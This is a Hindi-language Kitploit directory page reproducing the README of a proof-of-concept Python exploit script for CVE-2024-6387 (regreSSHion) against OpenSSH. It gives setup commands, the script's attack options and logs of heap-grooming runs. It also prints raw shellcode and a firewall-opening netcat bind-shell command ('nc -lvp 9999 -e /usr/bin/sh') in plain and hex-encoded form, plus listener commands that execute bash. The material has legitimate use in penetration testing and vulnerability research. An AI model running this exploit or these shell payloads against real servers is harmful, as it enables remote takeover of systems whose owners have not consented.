Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/l-urk/cve-2024-6387
भेद्यता विश्लेषणशोषणशेलकोडनेटवर्क सुरक्षापेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूलशेलकोड जनरेशनपेलोड डेवलपमेंटबाइनरी शोषण
GitHubl-urk/cve-2024-6387

CVE-2024-6387

regreSSHion एक्सप्लॉइट के लिए प्रूफ ऑफ कॉन्सेप्ट पायथन स्क्रिप्ट।

12591 साल पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-6387 regreSSHion

regreSSHion शोषण के लिए प्रूफ ऑफ कॉन्सेप्ट पायथन स्क्रिप्ट. Version 0.2.1 build POC regreSSHion-green-banner

स्थापना

root@kitploit:~
git clone https://github.com/l-urk/CVE-2024-6387.git
root@kitploit:~
cd CVE-2024-6387
root@kitploit:~
pip3 install -r requirements.txt
root@kitploit:~
python3 regreSSHion.py -h

उपयोग

root@kitploit:~
🔒 CVE-2024-6387 regreSSHion remote code execution vulnerability exploit script

usage: regreSSHion.py [-h] -i IP -p PORT [-t] [-c] [-d] [-r] [-x] [-y] [-z]

🔒 CVE-2024-6387 regreSSHion remote code execution vulnerability exploit script

options:
  -h, --help            show this help message and exit
  -i IP, --ip IP        target SSH server IPv4 ( format: -i 0.0.0.0 )
  -p PORT, --port PORT  target SSH server port number ( format: -p 22 )
  -t, --time            ENABLE TIME displayed on all log output ( format: -t )
  -c, --clear           CLEAR SCREEN before running the exploit ( format: -c )
  -d, --debug           enable see the DEBUG LOGS output on run ( format: -d )
  -r, --repeat          enable to REPEAT EXPLOIT until RCE wins ( format: -r )
  -x, --skipssh         enable this to SKIP SSH HANDSHAKES ( format: -x )
  -y, --skipheap        enable this to SKIP HEAP and parse ( format: -y )
  -z, --skipfinal       enable this to SKIP FINAL ID CHECK ( format: -z )

🔒 Affected OpenSSH Versions: 1.2.2p1 ~ 4.4 and 8.5p1 ~ 9.8

🔒 contact: github.com/l-urk - x.com/l_urkk

स्क्रिप्ट का उपयोग करने के लिए, regreSSHion.py को python3 के साथ चलाएँ

  • आईपी को असुरक्षित SSH सर्वर के IPv4 पते पर सेट करें
  • पोर्ट को असुरक्षित SSH सर्वर के पोर्ट नंबर पर सेट करें
root@kitploit:~
python3 regreSSHion.py --ip 127.0.0.1 --port 22
root@kitploit:~
2024-08-03 22:42:55,944 - INFOS - Attempting to connect to 127.0.0.1:22 (attempt 1)
2024-08-03 22:42:55,945 - INFOS - Connection established
2024-08-03 22:42:55,945 - INFOS - Performing SSH handshake...
2024-08-03 22:43:05,014 - INFOS - Received KEX_INIT (5 bytes)
2024-08-03 22:43:05,015 - INFOS - SSH handshake successful.
2024-08-03 22:43:05,015 - INFOS - Preparing heap...
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 1
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 2
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 3
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 4

मान लीजिए कि आप स्क्रिप्ट में यहाँ तक पहुँच गए हैं...

root@kitploit:~
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 3
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 4
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 5
2024-08-03 22:46:45,858 - INFOS - Sent large string
2024-08-03 22:46:45,858 - INFOS - Heap preparation complete.
2024-08-03 22:47:05,879 - INFOS - Estimated parsing time: 0.000056 seconds
2024-08-03 22:47:05,880 - INFOS - Final packet sent successfully.
2024-08-03 22:47:05,880 - INFOS - Verifying exploit success.
2024-08-03 22:47:15,890 - WARN! - No response received for verification.

यदि यह शोषण सत्यापन सफलता कहता है, तो आपने सफलतापूर्वक अपना पेलोड वितरित और निष्पादित कर दिया है। स्क्रिप्ट सफल होने के लिए कुछ बार प्रयास करेगी। मैं सुझाव दूंगा कि आप इसे अपने स्वयं के असुरक्षित SSH सर्वर पर आज़माएं जब तक कि आपको सफलता संदेश प्राप्त करने का अनुभव न हो जाए।

root@kitploit:~
2024-08-03 22:47:15,891 - ERROR - Exploitation failed.

डीबग मोड

  • डीबग मोड सक्षम होने पर आपको अधिक विस्तृत आउटपुट मिलेगा, यह आपको प्राप्त SSH संस्करण स्ट्रिंग, पैकेट लंबाई की जानकारी, और कुछ अन्य चीज़ें दिखाएगा, लगभग वह सब कुछ जो हो रहा है जिसे लॉग किया जा सकता है।
root@kitploit:~
python3 regreSSHion.py --ip 127.0.0.1 --port 22 --debug

उदाहरण आउटपुट:

root@kitploit:~
2024-08-03 22:44:53,962 - DEBUG - Logging is set to DEBUG level
2024-08-03 22:44:53,962 - INFOS - Attempting to connect to 127.0.0.1:22 (attempt 1)
2024-08-03 22:44:53,963 - INFOS - Connection established
2024-08-03 22:44:53,963 - INFOS - Performing SSH handshake...
2024-08-03 22:44:53,963 - DEBUG - Sent SSH version string.
2024-08-03 22:44:53,963 - DEBUG - Waiting to receive SSH version string
2024-08-03 22:45:03,256 - DEBUG - Received SSH version string: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
2024-08-03 22:45:04,373 - INFOS - Received KEX_INIT (4 bytes)
2024-08-03 22:45:04,373 - INFOS - SSH handshake successful.
2024-08-03 22:45:04,373 - INFOS - Preparing heap...

शेलकोड पेलोड

डिफ़ॉल्ट शेलकोड ufw का उपयोग करके इनकमिंग पोर्ट 9999 खोलता है और पोर्ट 9999 पर एक nc लिसनिंग शेल शुरू करता है।

root@kitploit:~
    shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\x7f\x00\x00\x01\x66\x68\x27\x0f\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x56\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

शेलकोड पेलोड निर्माण

आप अपना स्वयं का शेलकोड पेलोड बना सकते हैं एक ASCII से हेक्स एडिटर का उपयोग करके, और इसे मैन्युअल रूप से शेलकोड में परिवर्तित करके। मैं इस ascii-to-hex वेबसाइट का उपयोग करता हूं: https://www.rapidtables.com/convert/number/ascii-to-hex.html

  • शेलकोड के लिए अपना इच्छित टेक्स्ट इनपुट करें।
  • सेटिंग्स "User defined" और "\x" का उपयोग करें इनपुट बॉक्स में।
  • सभी बड़े अक्षर X को छोटे अक्षर x से बदलें।
  • नोटपैड या कोई अन्य कैरेक्टर रिप्लेसमेंट में सक्षम प्रोग्राम का उपयोग करें।
  • अंतिम \x को हेक्स स्ट्रिंग के अंत से शुरुआत में ले जाएं।
  • शेल द्वारा व्याख्या के लिए दोनों सिरों पर उद्धरण जोड़ें।

शेलकोड पेलोड उदाहरण

hello world

root@kitploit:~
hello world
root@kitploit:~
"\x68\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64"

printf hello world

root@kitploit:~
printf hello world
root@kitploit:~
"\x70\x72\x69\x6E\x74\x66\x20\x68\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64"

make test file

root@kitploit:~
test > test
root@kitploit:~
"\x74\x65\x73\x74\x20\x3E\x20\x74\x65\x73\x74"

Allow incoming connections on port 9999 & open a nc shell on port 9999

root@kitploit:~
ufw allow 9999 && /usr/bin/nc -lvp 9999 -e /usr/bin/sh
root@kitploit:~
"\x75\x66\x77\x20\x61\x6C\x6C\x6F\x77\x20\x39\x39\x39\x39\x20\x26\x26\x20\x2F\x75\x73\x72\x2F\x62\x69\x6E\x2F\x6E\x63\x20\x2D\x6C\x76\x70\x20\x39\x39\x39\x39\x20\x2D\x65\x20\x2F\x75\x73\x72\x2F\x62\x69\x6E\x2F\x73\x68"

send_socket.py

यदि आप शेलकोड पेलोड के निष्पादन का परीक्षण करना चाहते हैं तो आप send_socket.py स्क्रिप्ट का उपयोग कर सकते हैं। उपयोग:

root@kitploit:~
usage: send_socket.py [-h] [-i IP] [-p PORT] [-s SHELLCODE]

send shellcode to a target socket (ip and port)

options:
  -h, --help            show this help message and exit
  -i IP, --ip IP        target ip address (default: 127.0.0.1)
  -p PORT, --port PORT  target tcp socket port (default: 1111)
  -s SHELLCODE, --shellcode SHELLCODE
                        shellcode hex to send in format: \x00\x00\x00\...etc (default: F13)

भेजने वाला:

root@kitploit:~
python3 send_socket.py -i 127.0.0.1 -p 1111

सुनने वाला:

  • कच्चा पाठ व्याख्या
root@kitploit:~
nc -lvp 1111
  • शेल निष्पादन
root@kitploit:~
nc -lvp 1111 -e /usr/bin/bash
टूल डाउनलोड करें